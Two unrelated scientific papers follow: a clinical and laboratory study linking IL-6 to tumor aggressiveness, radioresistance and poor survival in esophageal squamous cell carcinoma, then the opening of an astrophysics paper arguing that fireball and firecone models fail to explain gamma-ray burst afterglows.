Proinflammatory cytokine may contribute to tumor progression by stimulating angiogenesis, invasion and metastasis \[[@B4],[@B5]\] IL-6 is a pleiotropic cytokine that is capable of modulating diverse cell functions such as inflammatory reactions, and is a major activator of the JAK/STAT3 and PI3K/AKT signaling pathways \[[@B6]\]. IL-6 signaling has been implicated in the regulation of tumor growth and metastatic spread in different cancers \[[@B7]-[@B9]\]. Moreover, increased IL-6 serum levels were reported to be associated with metastasis and poor prognosis in prostate, ovarian and gastrointestinal cancers \[[@B10]-[@B12]\]. Although evidence suggests that IL-6 is a critical factor in a variety of malignancies \[[@B11],[@B13],[@B14]\], how IL-6 modulates the biological activities of esophageal carcinoma cells and how it is associated with the prognosis of esophageal cancer remains unclear. There are two distinct histological types of esophageal cancer: squamous cell carcinoma (SCC) and adenocarcinoma. There are marked differences between these carcinomas in incidence, natural history and treatment outcomes \[[@B15]\]. The majority of esophageal SCC cases occur in Asia, with the predominant type in Taiwan being SCC \[[@B16]\]. We therefore investigated the role of IL-6 in esophageal SCC *in vitro* and *in vivo*, and examined the correlation between IL-6 levels and clinical outcomes in esophageal cancer patients.
Materials and methods
=====================
Patient characteristics
-----------------------
The Institutional Review Board of Chang Gung Memorial Hospital approved the present study (Permit Number: 96-1693B). The written consents were signed by the patients for their specimen and information to be stored in the hospital and used for research. Patients who did not comply with the treatment regimen and those who received surgery alone for early-stage esophageal cancer were excluded from the study. A total of 173 patients with esophageal SCC who completed curative treatment were enrolled in the study. The curative treatment for esophageal cancer included neoadjuvant CCRT combined with surgery or definitive CCRT according to the guidelines proposed by oncology team at our hospital. On completion of neoadjuvant CCRT, patients underwent a repeat CT scan and endoscopic examination to determine the response to treatment. If the tumor was considered resectable, patients underwent surgery for the residual tumor. Pathologic complete response (CR) was defined as absence of residual invasive tumor in the surgical specimen in patients undergoing surgical intervention. For patients who refused surgery or in whom it was contraindicated, a second round of CCRT was administered, comprising two courses of chemotherapy and radiotherapy of a total of 60--63 Gy. Specimens collected from the 173 patients at diagnosis were subjected to immunochemical analysis. The main end points were overall survival (OS), disease-free survival (DFS) and response to neoadjuvant therapy. Survival probability was analyzed statistically using the Kaplan--Meier method. The significance of between-group differences was assessed using the log-rank test. Multivariate analyses were performed using a Cox regression model for survival.
Immunohistochemical staining (IHC)
----------------------------------
Formalin-fixed, paraffin-embedded tissues from 173 patients with esophageal cancer were subjected to IHC staining. Dissected esophageal cancer specimens from 20 of these patients were converted into tissue microarray (TMA) blocks using an AutoTiss 1000 arrayer (Ever BioTechnology, Canada). The TMA block contained esophageal SCCs and the adjacent non-malignant epithelium. The quality of the TMA slides was confirmed by the pathologist using hematoxylin- and eosin-stained slides. The IHC data for the specimens were assessed using the semi-quantitative immunoreactive score (IRS). The criterion for positive staining was an IRS score of ≥2. The details were described in Additional file [1](#S1){ref-type="supplementary-material"}: Supplementary methods.
Cell culture and reagents
-------------------------
The human esophageal cancer cell line CE81T, derived from a well-differentiated esophageal SCC, was obtained from the Bioresource Collection and Research Center (BCRC),and cultured in Dulbecco's modified Eagle's medium supplemented with 10% fetal bovine serum. The IL-6-neutralizing antibody, STAT3 siRNA and the JAK inhibitor AG490 were purchased from R&D Systems (Minneapolis, MN) and Sigma (St. Louis, MO), respectively. The IL-6-GFP silencing vector (human IL6 shRNA constructs in retroviral GFP vector) and GFP-control vector (Non-effective scrambled shRNA cassette in retroviral GFP vector) were purchased from Origene Technologies, Inc. (Rockville, MD). Transfection in CE81T was carried out by Lipofectamine™ 2000 (Invitrogen) according to the manufacturer's instructions. Stable cancer cells were generated by transfecting CE81T cells with either the IL-6 silencing vectors or control vectors, followed by selection with puromycin for 4 weeks.
Cell growth
-----------
To measure cell growth, 1×10^4^ cells per well were plated into 6-well dishes. At the indicated time-points, cells were trypsinized, collected and surviving cells counted using Trypan blue exclusion, from which the survival curves for CE81T transfectants ( wild type, with control vectors, and with IL-6 silencing vectors) were established.
Immunoblotting
--------------
To determine the *in vitro* effects of STAT3 siRNA, proteins were extracted from cells transfected with STAT3 siRNA for 72 h. To determine the *in vitro* effects of the JAK inhibitor and the anti-IL-6 antibody, proteins were extracted from cells incubated in the presence of 50 μM AG490 or 5 μg/ml IL-6 neutralizing antibodies for 24 h. The details were described in Additional file [1](#S1){ref-type="supplementary-material"}: Supplementary methods.
Immunofluorescence staining (IF) and Statistical analysis
---------------------------------------------------------
The details were described in Additional file [1](#S1){ref-type="supplementary-material"}: Supplementary methods.
Enzyme-linked immunosorbent assay (ELISA) analysis of IL-6 level
----------------------------------------------------------------
We examined the serum level of IL-6 from 71 patients among subjects enrolled with esophageal cancer in the present study. For serum specimen, five milliliters of peripheral blood were drawn from each patient. Moreover, IL-6 levels in cellular supertnant and murine serum were tested. Levels of IL-6 in samples were analyzed using an IL-6 Quantikine ELISA Kit (R&D system). The details were described in Additional file [1](#S1){ref-type="supplementary-material"}: Supplementary methods.
Tumor xenografts
----------------
This study was carried out in strict accordance with the recommendations in the Guide for the Care and Use of Laboratory Animals as promulgated by the Institutes of Laboratory Animal Resources, National Research Council, U.S.A. The protocol was approved by the Committee on the Ethics of Animal Experiments of Chang Gung Memorial Hospital (Permit Number: 2012080903). Eight-week-old male athymic nude mice were used and all animal experiments conformed to the protocols approved by the experimental animal committee of our hospital. CE81T cancer cell transfectants (1 × 10^6^ per implantation, five animals per group) were subcutaneously implanted in the dorsal gluteal region. To determine *in vivo* radiosensitivity, local irradiation (15 Gy) was performed when the tumor volume reached 500 mm^3^. Radiosensitivity was indicated by a growth delay (*i*.*e*., the time required for the tumor to recover its previous volume after irradiation). Duplicate experiments were performed for growth delay analyses. The details were described in Additional file [1](#S1){ref-type="supplementary-material"}: Supplementary methods.
Results
=======
Level of IL-6 in esophageal SCC
-------------------------------
The IHC data for TMA slides demonstrated that IL-6 was overexpressed in tumor tissues compared to adjacent non-malignant epithelial tissues (Figure [1](#F1){ref-type="fig"}a). Figure [1](#F1){ref-type="fig"}b showed the representative slides of positive staining and negative staining with anti-IL-6 antibody for human esophageal cancer specimens. Of the 173 esophageal cancer tissues, 88 (51%) showed positive IL-6 immunoreactivity (41% (45/109) in ≤ T3 *versus* 67% (43/64) in T4, *P* = 0.001). Furthermore, there was a positive correlation between IL-6 overexpression and cancers developing loco-regional failure or distant metastasis (Table [1](#T1){ref-type="table"}). The biological activities of IL-6 are mediated through binding to a membrane-bound or soluble form of IL-6 receptor. By IHC analysis of TMA slides, IL-6 receptor (IL-6R) was expressed in both tumor tissues and adjacent non-malignant epithelial tissues (Figure [1](#F1){ref-type="fig"}c).
{#F1}
######
Clinico-pathological characteristics of esophageal cancer patients for immunohistochemical investigation
**No. of patients**
------------------------------------------- --------------------- ---- ------------
**patients** 85 88
**Age**
\> = 56y/0 43 44 0.938
\<56y/o 42 44
**Location**
Upper third 22 26 0.498
Middle third 48 42
Lower third 15 20
**Tumor stage** 0.041\*
I-II 28 17
III-IV 57 71
**LN metastasis** 0.246
negative 27 21
positive 58 67
**P-stat3 staining** \<0.0001\*
negative 71 20
positive 14 68
**Response to Neoadjuvant Tx** 0.0001\*
Response 69 47
Non- response 16 41
**Surgery s/p Neoadjuvant Tx** 0.145
Yes 31 24
No 54 64
**Local-regional Recurrence /persistent** \<0.0001\*
No 44 16
Yes 41 72
**Distant metastasis** 0.0003\*
negative 58 36
positive 27 52
Abbreviations: Neoadjuvant Tx = neoadjuvant chemoradiotherapy.
Role of IL-6 in tumor growth
----------------------------
As demonstrated in Figure [2](#F2){ref-type="fig"}a, the IL-6 silencing vector significantly inhibited IL-6 expression in CE81T cells. By viable cell counting over 6 days and observation of xenograft tumors, the IL-6 silencing vector significantly inhibited tumor growth *in vitro* (Figure [2](#F2){ref-type="fig"}b) and *in vivo* (Figure [2](#F2){ref-type="fig"}c). Figure [2](#F2){ref-type="fig"}d showed that the cell death rate increased from 5.6 ± 1.2% to 13.5 ± 1.8% in CE81T cells after treatment with an IL-6-neutralizing antibody (as measured by flow cytometry) and by the IL-6 silencing vector (propidium iodide staining).
{#F2}
Role of IL-6 in tumor invasion and underlying mechanisms
--------------------------------------------------------
There was a positive link between IL-6 and tumor stage and disease failure in patients with esophageal cancer (Table [1](#T1){ref-type="table"}). Furthermore, as demonstrated using migration scratch assays, IL-6 silencing vector attenuated the invasive capacity of esophageal cancer cells (Figure [3](#F3){ref-type="fig"}a). Epithelial-mesenchymal transition (EMT) is a key event in invasiveness \[[@B17]\]. As shown in Figure [3](#F3){ref-type="fig"}b, the IL-6 silencing vector reversed EMT changes, with increased E-cadherin expressions, and decreased matrix metalloproteinase (MMP)-9, vimentin and Snail, a repressor of E-cadherin expression. The activation of STAT3 signaling was reported to play important roles in the induction of aggressive tumor behavior and EMT changes in cancer \[[@B18]\], including cancers in the upper aerodigestive tract \[[@B8],[@B19]\]. As shown in Table [1](#T1){ref-type="table"} and Figure [3](#F3){ref-type="fig"}c--d, positive staining for p-STAT3 was evident in 47% of the 173 cancer specimens, and a significant positive correlation was found in cancer specimen that expressed IL-6 and p-STAT3. As determined by immunofluorescence and immunoblotting analysis (Figure [3](#F3){ref-type="fig"}e-f), IL-6 inhibition significantly attenuated the activation of STAT3 *in vitro*. Moreover, when STAT3 signaling was inhibited by STAT3 siRNA or the JAK inhibitor AG490, the decreases in EMT- related protein levels were comparable to those induced by the IL-6-neutralizing antibody (Figure [3](#F3){ref-type="fig"}f). Therefore, it appears that altered STAT3 activation and subsequent EMT might, at least in part, be responsible for the aggressive tumor behavior in IL-6-positive esophageal cancer.
{#F3}
Effects of circulating IL-6 on tumor aggressiveness
---------------------------------------------------
We used ELISA assay to test the level of IL-6 in the supernatant of cell culture and the serum of mice bearing tumors. As shown in Figure [4](#F4){ref-type="fig"}a, IL-6 silencing vector clearly attenuated IL-6 secretion. Moreover, the serum levels of IL-6 were examined by ELISA. The mean IL-6 levels in serum samples from 71 patients with esophageal cancer were 39 ± 7.7 pg/mL. Serum IL-6 levels were significantly elevated in patients with local-regional failure or developing distant metastasis compared to those in patients with disease control (Figure [4](#F4){ref-type="fig"}b). Table [2](#T2){ref-type="table"} also showed that IL-6 serum levels were significantly correlated with a greater probability of developing local-regional failure and distant metastasis. In addition to EMT, angiogenesis is one of the mechanisms that promote tumor progression. The most prominent and best-characterized pro-angiogenic pathway is vascular endothelial growth factor (VEGF) signaling \[[@B20]\], and CD31-mediated endothelial cell-cell interactions are involved in angiogenesis \[[@B21]\]. Therefore, the vascular network within the tumor was measured by VEGF staining and microvascular density (MVD) analysis after CD31 staining. When esophageal cancer cells with control vectors and those with IL-6 silencing vectors were subcutaneously implanted into mice, we found that the growth inhibiting effect induced by IL-6 silencing vector associated with lower expression levels of EMT- and angiogenesis-related factor (Figure [4](#F4){ref-type="fig"}c). Accordingly, we suggested that circulating IL-6 plays a role in tumor promotion, and the induction of angiogenesis and EMT might be the underling mechanisms.
{#F4}
######
Significance of IL-6 expression stratified according to the occurrence of local- regional failure (LR) or distant metastasis (DM) in 71 patients
**IL-6 serum level**
-------- ---------------------- ---- ---- -------------
**LR** **+** 12 32 *P = 0.001*
**-** 18 9
**DM** **+** 10 24 *P = 0.035*
**-** 20 17
LR = Local-regional Recurrence /persistent; DM = distant metastasis.
IL-6 correlates with treatment response in esophageal SCC
---------------------------------------------------------
Regarding clinical data, the expression of IL-6 was significantly associated with a lower rate of response to curative treatment in the 173 esophageal SCC patients (Table [1](#T1){ref-type="table"}), and a lower pathological complete response rate in the 55 patients who underwent surgical intervention (Table [3](#T3){ref-type="table"}). Therefore, we investigated the role of IL-6 in treatment resistance and the underlying mechanisms. Colony-forming assay data (Figure [5](#F5){ref-type="fig"}a) and the *in vivo* delay in tumor growth (Figure [5](#F5){ref-type="fig"}b) demonstrated that the IL-6 silencing vector significantly sensitized esophageal cancer cells to irradiation. As shown in Figure [5](#F5){ref-type="fig"}c-d, inhibition of IL-6 increased cell death and DNA damage and attenuated STAT3 activation after irradiation. Tumor vascularity have been shown to be linked to the tumor-bed effect induced by irradiation \[[@B22]\]. To investigate whether angiogenesis underlies radiation resistance triggered by IL-6, the vascular network within the tumor by MVD analysis and the expression of VEGF after irradiation were measured. As shown in Figure [5](#F5){ref-type="fig"}d, the IL-6 silencing vector significantly decreased angiogenesis by evidence of decreased MVD and VEGF staining in irradiated tumors.
######
Significance of IL-6 expression stratified according to the complete response to neoadjuvant treatment in 55 patients with surgery resection
**IL-6**
--------------- ---------- ---- ---- -------------
Pathologic CR **+** 3 11 *P = 0.052*
**-** 21 20
{#F5}
Correlation between the IL-6 level and clinical outcome
-------------------------------------------------------
As shown in Figure [6](#F6){ref-type="fig"}, IL-6 is a significant predictor for OS. The median OS times were 16 and 42 months in patients who completed CCRT treatment and those who underwent surgical intervention, respectively. In addition, Tables [1](#T1){ref-type="table"}, [2](#T2){ref-type="table"}, [3](#T3){ref-type="table"} showed that IL-6 was significantly correlated with a greater probability of developing distant metastasis and a higher recurrence rate after curative treatment. In univariate and multivariate analyses, poor treatment response, no tumor resection, and positive IL-6 staining were significantly associated with shorter survival (Tables [4](#T4){ref-type="table"}, [5](#T5){ref-type="table"}, [6](#T6){ref-type="table"}). Furthermore, in the subgroup of 118 patients treated with CCRT, but not in the 55 who underwent surgical intervention, positive IL-6 staining retained predictive power concerning survival in a multivariate analysis (Tables [7](#T7){ref-type="table"}, [8](#T8){ref-type="table"}).
{#F6}
######
Univariate analysis to determine factors associated with prognosis
**Variables** **P value for overall survival** **P value for disease-free survival**
------------------------------- ---------------------------------- ---------------------------------------
Clinical stage 0.271 0.006\*
Tumor resection 0.001\* 0.000\*
Positive staining for IL-6 0.000\* 0.000\*
Positive staining for p-STAT3 0.000\* 0.000\*
Local-regional Recurrence 0.002\* 0.000\*
Distant metastasis 0.03\* 0.000\*
Treatment response 0.000\* 0.000\*
######
Multivariate analysis to determine molecular markers associated with prognosis (OS) of patients
**Variables** **Odd ratios** **95% confidence interval** **p**
-------------------------------------- ---------------- ----------------------------- -----------
IL-6 staining 5.319 2.906-9.734 \<0.001\*
p-STAT3 staining 0.926 0.529-1.593 0.761
Tumor resection 0.454 0.270-0.762 0.003\*
Clinical stage 0.908 0.531-1.551 0.723
Treatment response 2.601 1.583-4.276 \<0.001\*
Recurrence and/or distant metastasis 4.172 1.700-10.240 0.002\*
######
Multivariate analysis to determine molecular markers associated with prognosis (DFS) of patients
**Variables** **Odd ratios** **95% confidence interval** **p**
-------------------- ---------------- ----------------------------- -----------
IL-6 staining 5.424 3.349-8.784 \<0.001\*
p-STAT3 staining 0.724 0.465-1.128 0.153
Tumor resection 0.365 0.241-0.553 \<0.001\*
Clinical stage 1.655 1.058-2.589 0.027\*
Treatment response 3.719 2.135-4.733 \<0.001\*
######
Multivariate analysis to determine factors associated with prognosis (OS) of patients with definite CCRT treatment
**Variables** **Odd ratios** **95% confidence interval** **p**
-------------------------------------- ---------------- ----------------------------- -----------
IL-6 staining 7.622 3.580-16.226 \<0.001\*
p-STAT3 staining 1.032 0.524-2.031 0.928
Clinical stage 0.828 0.409-1.677 0.600
Treatment response 2.327 1.314-4.120 0.004\*
Recurrence and/or distant metastasis 4.576 1.292-16.199 0.018\*
######
Multivariate analysis to determine factors associated with prognosis (OS) of patients with pre-op CCRT and surgery
**Variables** **Odd ratios** **95% confidence interval** **p**
-------------------------------------- ---------------- ----------------------------- ---------
IL-6 staining 1.738 0.537-5.622 0.356
p-STAT3 staining 1.152 0.364-3.643 0.810
Clinical stage 0.860 0.332-2.232 0.757
Pathologic CR 1.883 0.518-6.842 0.336
Recurrence and/or distant metastasis 4.205 1.138-15.538 0.031\*
Discussion
==========
Understanding the molecular mechanisms underlying aggressive tumor growth in esophageal SCC is pivotal to identifying novel targets for pharmacological intervention. Furthermore, clinical data \[[@B2],[@B3],[@B23]\] suggest the need for markers that predict responses to neoadjuvant CCRT and help to identify patients at high risk of tumor recurrence and distant metastasis. However, no suitable markers have been identified to date. The inflammatory cytokine IL-6 contributes to the growth and progression of various malignancies, such as HNSCC, prostate cancer and gastrointestinal cancer, and acts as an autocrine growth factor and an anti-apoptotic factor for various stimuli, including anticancer agents \[[@B11],[@B24]-[@B27]\]. Moreover, the IL-6/STAT3 pathway is important for the development of inflammation-associated intestinal tumorigenesis. Similar to other series \[[@B11],[@B28]\], we found that IL-6 and IL-6R were detected in both esophageal cancer specimens and esophageal carcinoma cell lines. IL-6 expression was higher in esophageal cancer specimens compared with non-malignant tissues. Furthermore, positive staining for IL-6 was associated with higher tumor stage, higher rates of tumor recurrence and distant metastasis. To further investigate whether IL-6 was responsible for aggressive tumor growth in esophageal SCC, we suppressed IL-6 in esophageal cancer cells using a silencing vector. Data obtained from cell and xenograft tumor growth experiments revealed that inhibiting IL-6 resulted in slower tumor growth and reduced invasiveness. The transformation of an epithelial cell into a mesenchymal cell appears to be functionally relevant to the invasive characteristics of epithelial tumors, including esophageal cancer \[[@B19],[@B29],[@B30]\]. At the molecular marker level, EMT is characterized by the loss of E-cadherin and increased expression of invasion-related factors \[[@B31]\]. In cell experiments, the IL-6 silencing vector induced both an increase in E-cadherin levels in esophageal cancer cells, and decreases in MMP-9 levels. Constitutive activation of STAT3 signaling has been reported to contribute to oncogenesis by promoting proliferation and EMT, and IL-6 is a major activator of JAK/STAT3 signaling \[[@B8],[@B32]-[@B34]\]. Therefore, we examined the links between STAT3 activation, IL-6 and EMT. When blocking STAT3 activation by STAT3 siRNA or JAK inhibitor, the decreases in EMT-related protein levels were comparable to those induced by IL-6 silencing vector. Furthermore, IHC data obtained from clinical samples demonstrated that IL-6 expression was significantly correlated with p-STAT3 staining. Therefore, it is likely that STAT3 activation plays a role in transmitting IL-6 signals to downstream targets that regulate EMT and invasiveness.
In the present study, IL-6 silencing vectors significantly decreased IL-6 levels seen in the supernatant of cell culture medium and the serum of mice bearing tumors. Moreover, in the clinic, IL-6 serum levels seem to be elevated in a subgroup of patients with local-regional failure or distant metastasis. We assume that circulating IL-6 plays an important role to stimulate tumor growth *in vivo*, besides direct action on malignant cells. Angiogenesis is one of the mechanisms that promote tumor progression, and CD31-mediated endothelial cell-cell interactions are involved in angiogenesis. Moreover, STAT3 activation has been reported to modulate the expression of genes that mediate angiogenesis; *e*.*g*., VEGF \[[@B35]\]. Accordingly, the links between IL-6, angiogenesis, and promotion of cancer in tumor-bearing mice were further investigated using a xenograft tumor model. Our data from animal experiments demonstrated that IL-6 level positively linked with angiogenesis in addition to EMT. These findings indicated that the promotion of EMT changes and angiogenesis mediate the aggressive tumor growth noted in IL-6 expressing esophageal cancer, at least in part.
Radiotherapy is a well-established therapeutic modality in oncology. It provides survival benefits in several cancer types, including esophageal cancer. For esophageal SCC, treatment response is an independent prognostic factor. We demonstrated that positive IL-6 staining was significantly associated with a lower response rate after treatment in patients with esophageal SCC. As determined using clonogenic assays and delayed tumor growth, inhibition of IL-6 by transfection of an IL-6 silencing vector increased radiosensitivity. Extensive DNA damage caused by radiation and anti-cancer agents can result in cell death or sensitivity to clinical treatment if left unrepaired \[[@B36]\]. Phosphorylated H2AX is an indicator of double-strand breaks, and its expression after irradiation correlates with treatment sensitivity \[[@B37]\]. Our data demonstrate that inhibition of IL-6 was associated with increased radiation-induced DNA damage and increased cell death. Moreover, the data from xenograft tumors demonstrated that inhibition of IL-6 attenuated angiogenesis and decreased p-STAT3 activation after irradiation. The expression of angiogenic factors is suggested to have predictive value for treatment response and outcome in patients with esophageal cancer \[[@B38],[@B39]\]. Therefore, we suggest activation of STAT3 signaling and angiogenesis after irradiation was reported to be responsible for resistance to treatment and tumor regrowth after irradiation triggered by IL-6.
We further examined the predictive power of IL-6 for prognosis in esophageal SCC. Besides a lower response to treatment, enhanced expression of IL-6 was significantly associated with a higher clinical stage, a greater risk of distant metastasis and shorter survival. In a multivariate analysis, IL-6 retained predictive power for OS.
These findings indicate that IL-6-positive esophageal cancer provides a suitable microenvironment for the development of tumor growth and treatment resistance mediated by induction of angiogenesis, enhancement of cell mobility, and promotion of EMT. Our data support the emerging notion that IL-6 and p-STAT3 are clinically significant predictors, and suggest that IL-6 may represent a suitable target for esophageal SCC treatment.
Competing interests
===================
The authors confirm that there are no conflicts of interest that could be perceived as prejudicing the impartiality of the research reported.
Authors' contributions
======================
MFC conceived of the study, performed the study and coordination and assisted in editing of manuscript. PTC performed the study and drafted the manuscript. MSL conceived of the study and participated in its design and coordination. PYL helped in histology and IHC staining. WCC conceived part of the study and performed the statistical analysis. KDL participated in its design and coordination. All authors read and approved the final manuscript.
Supplementary Material
======================
###### Additional file 1
Supplementary methods.
######
Click here for file
Acknowledgements
================
The work was support by National Science Council, Taiwan. Grant 98-2314-B-182-038-MY2 (to M.F. Chen).
|
---
abstract: 'The observed afterglows of gamma ray bursts (GRBs), in particular that of GRB 970228 six months later, seem to rule out relativistic fireballs and relativistic firecones driven by merger or accretion induced collapse of compact stellar objects in galaxies as the origin of GRBs. GRBs can be produced by superluminal jets from such events.'
author:
- Arnon Dar
title: 'CAN FIREBALL OR FIRECONE MODELS EXPLAIN GAMMA RAY BURSTS?'
---
INTRODUCTION
============
The isotropy of the positions of gamma ray bursts (GRBs) in the sky and their brightness distribution have provided the first strong indication that they are at cosmological distances (Meegan et al 1992; Fishman and Meegan 1995 and references therein). The recent discovery of an extended faint optical source coincident with the optical transient of GRB 970228 ( Groot et al. 1997; van Paradijs et al. 1997; Sahu et al. 1997) and, in particular, the detection of absorption and emission line systems at redshift z=0.835 (Metzger et al. 1997a,b) in the spectrum of the optical counterpart of GRB 970508, which may arise from a host galaxy (see e.g. Pedersen et al 1997), have provided further evidence that GRBs take place in distant galaxies. The peak luminosity of GRB 970508 in the 0.04-2.0 MeV range exceeded $10^{51}d\Omega~erg~s^{-1}$ (assuming $\Omega\approx 0.2$, $\Lambda=0$ and $H_0\approx
70~km~Mpc~s^{-1}$), where $d\Omega$ is the solid angle into which the emitted radiation was beamed. Such $\gamma$-ray luminosities and their short time variability strongly suggest that GRBs are produced by mergers and/or accretion induced collapse (AIC) of compact stellar objects (Blinnikov et al. 1984; Paczynski 1986; Goodman, Dar and Nussinov 1987), the only known sources which can release such enormous energies in a very short time. Then the gamma rays must be highly collimated and their radius of emission must be large enough in order to avoid self opaqueness due to $\gamma \gamma\rightarrow e^+e^-$ pair production. A sufficient, and probably necessary, condition for this to occur is that they are emitted by highly relativistic outflows with bulk Lorentz factors, $\Gamma=1/\sqrt{1-\beta^2}\gg 100.$ Additional support for their emission from highly relativistic flows is provided by their non thermal energy spectrum. Consequently relativistic fireballs (Cavallo and Rees 1976; Paczynski 1986; Goodman 1986) and relativistic jets (e.g., Shaviv and Dar 1995; Dar 1997) were proposed as the producers of GRBs. The observed radiation may be produced by self interactions within the flow (e.g., Paczynski and Xu 1994; Rees and Meszaros 1994) or by interactions with external matter (e.g. Rees and Meszaros 1992; Meszaros and Rees 1993) or with external radiation (e.g., Shemi 1993; Shaviv and Dar 1995; 1996).
Following the discovery of the afterglow of GRBs 970228 various authors have concluded that it supports the fireball model of GRBs (e.g., Katz et al. 1997; Waxman 1997a,b; Wijers et al. 1997; Reichart 1997; Vietri 1997; Rhoads 1997; Sari 1997a; Tavani 1997; Sahu et al 1997a). However, here we show that the detailed observations of the afterglows of GRBs 970111, 970228, 970402, 970508, 970616, 970828, 971214, and in particular that of 970228 six months later (Fruchter et al, 1997), support neither the simple relativistic fireball model (e.g., Meszaros and Rees 1997), nor simple relativistic firecone (conical ejecta) models. However, if the relativistic ejecta in merger/AIC of compact stellar objects is collimated into magnetically confined narrow jets, the major problems of the fireball and firecones models can be avoided and the general properties of GRBs and their afterglows can be explained quite naturally.
FAILURES OF SIMPLE FIREBALLS
============================
Energy Crisis
-------------
The spherical blast wave models assume (e.g., Meszaros and Rees 1997; Wijers et al 1997) that the ultrarelativistic spherical shell which expands with a Lorentz factor $\gamma=1/\sqrt{1-\beta^2}$ drives a collisionless (magnetic) shock into the surrounding interstellar medium. They also assume that the collisionless shock which propagates in the ISM with a Lorentz factor $\gamma_s=\sqrt{2}\gamma$ accelerates it and heats it up to a temperature $T\approx \gamma m_pc^2$ (in its rest frame). Energy-momentum conservation in the ultrarelativistic limit, which reads $d[(M+nm_p(4\pi/3)r^3)\gamma^i]\approx 0$ with $i=2$, then implies that the bulk Lorentz factor of the decelerating debris (mass $M$) and swept up ISM (ambient density $n$) decreases for large $r$ like $\gamma(r)\sim\gamma(r_0)(r/r_0)^{-3/2}$. In fact, the assumption that a highly relativistic collisionless shock heats up the ISM to a temperature $T_p\approx \gamma m_pc^2$ in its rest frame, has never been substantiated by self consistent magnetodynamic calculations nor by direct observations of radiation from decelerating superluminal jets. For $T_p<m_pc^2$ (or fast cooling) one has $i=1$ and $\gamma \sim r^{-3}$. It is further assumed that superthermal electrons, with a power-law spectrum, $dn_e/dE'\sim E'^{-p}$ and $p\approx 2.5$, in the rest frame of the shocked ISM emit synchrotron radiation with a power-law spectrum $h\nu
dn/d\nu'\sim
\nu'^{-(p-1)/2}$ (or $\sim \nu'^{-p/2}$ for fast cooling) from an assumed equipartition internal magnetic field. Photons which are emitted with a frequency $\nu'$ in the rest frame of the shocked material and at an angle $cos\theta'$ relative to its bulk motion, are viewed in the lab frame at a frequency $\nu$ and at an angle $\theta$ which satisfy, respectively, (e.g. , Rybicki and Lightman 1979) $$\nu=\gamma(1+\beta cos\theta')\nu'~;~~
tan\theta=sin\theta'/\gamma(\beta+cos\theta').$$ If $\gamma>>1$ and if the photons are emitted isotropically in the rest frame of the shocked material with differential intensity $I_\nu= h\nu'dn/d\nu'$, then in the lab frame they have an angular and spectral distribution $${dI_\nu\over dcos\theta}= {4\gamma^3\over(1+\gamma^2\theta^2)^3}
I_{\nu'=\nu(1+\gamma^2\theta^2)/2\gamma}.$$ Thus, a distant observer sees essentially only photons emitted in his direction from radius vectors $r$ with angles $\theta\leq
1/\gamma$ relative to his line of sight (l.o.s.) to the explosion center ($r=0)$. If the emission from the shocked ISM between the expanding debris and the shock front is uniform, then the photon arrival times are $$t\approx {r\over \alpha_ic[\gamma(r)]^2}-{r'\over
2\alpha_ic[\gamma(r')]^2}+ {r\theta^2\over 2c},$$ where $r'\leq r$ is the initial distance of the shocked material from the explosion point and $\alpha_i=2(6/i+1)=14,8$ for $i=1,2,$ respectively. If the photons are emitted mainly from a thin shell behind the shock front then $r'\approx r$ and $$t\approx {r\over
2\alpha_ic[\gamma(r)]^2}+{r\theta^2\over 2c}~.$$ Photons which are emitted from the shock front at $\theta=0$ reach the observer at a time $$t=r/2\alpha_i c\gamma^2~.$$ Neglecting redshift effects, the differential luminosity seen by the observer at time $t$ is obtained by integrating eq. 2 over $r'\leq r$, $r$ and $\theta$, subject to eq. 3 (thick shell) or eq. 2 (thin shell). Because the angular delay dominates eqs. 3 and 4, the emissivity is weighted in the integration by $ 2\pi \theta d\theta$, the integrand peaks at $\theta^2=1/(6-i+p)\gamma^2 $. Substituting that into eq. 4, we find that for thin adiabatic shells ($i=2$) most of the high frequency photons which arrive at time $t$ come from a ring around the l.o.s. whose distance $R$ and Lorentz factor $\gamma(R)$ satisfy eq. 5 with $\alpha_2\approx 3.6$ and $R=0.77R_{max}$, while for thin radiative shells $(i=1)$ we find $\alpha_1\approx 4.9$ and $R \approx 0.84R_{max}$. Very similar results were obtained by Panaitescu and Meszaros (1997) from exact numerical integrations.
The relativistic expansion lasts until $\gamma(r)\approx 2$, i.e., $t\approx r/8\alpha_i c$. Since the energy of the swept up material is $\approx(4\pi/3)r^3n\gamma^im_pc^2$, the explosion energy must satisfy $$E\geq 2.7\times 10^{54}
n(\alpha_i/[1+z])^3i^2t_y^3~erg,$$ where $n$ is the mean density of the swept up ISM in $cm^{-3}$, $t_y$ is the observer time in years, and $z$ is the redshift of the host galaxy where the explosion took place. (The factor $i^2=4$ for the thick shell/adiabatic expansion case follows from the assumption that the proton and electron temperatures are both $\sim \gamma m_pc^2$). The shape, angular size $(0.8'')$ and magnitude $(V=25.7\pm 0.15)$ of the host nebula of GRB 970228 that were measured by HST between Sep. 4.65 and 4.76 UT ($t_y\approx 0.52$) suggest that it is a galaxy with a redshift $z<1$. For $z=1$, a standard ISM density $n\sim 1~cm^{-3}$, $i=1$ and $\alpha_1\approx 4 $ calculated by Panaitescu and Meszaros (1997) for a thin/radiative shell, eq. 6 yields $E\geq 3\times 10^{54}~erg $. For a thick/adiabatic shell ($i=2$) and $\alpha_2\approx 2$ eq. 6 yields $E\geq 1.5\times 10^{54}~erg$. Such energies, are comparable to the total energy-release in mergers/AIC of compact stellar objects, which is usually less than $\sim M_\odot c^2\approx 1.8\times 10^{54}erg$. Such kinetic energies, however, are larger by orders of magnitude than the maximal plausible kinetic energies of spherical explosions produced by such events. This is because a large fraction of the released energy is radiated in gravitational waves, and neutrino emission is inefficient in driving spherical explosions in gravitational collapse of compact objects. Typically, in core collapse supernovae explosions, the kinetic energies of the debris is about $\sim
1\%$ of the total gravitational binding energy release. NS merger/AIC is not expected to convert a larger fraction of the gravitational binding energy release into kinetic energy of a spherical explosion. First, a large fraction of the binding energy is radiated away by gravitational waves emission, which is relatively unimportant in Type II supernova explosions. Second, neutrino deposition of energy and momentum in the ejecta is less efficient in NS mergers, because it lasts only for milliseconds and because neutrino trapping and gravitational redshift of neutrino energy are stronger than in core collapse supernovae. Indeed, detailed numerical calculations of spherical explosions driven by neutrinos in NS mergers (e.g., Janka and Ruffert 1996; Ruffert et al 1997) produce very small explosion energies. Although the numerical calculations still are far from being full general relativistic three dimensional calculations, let alone their inability to reproduce consistently supernova explosions, probably, they do indicate the correct order of magnitude of the kinetic energy in spherical explosions driven by NS merger or AIC of white dwarfs and NS.
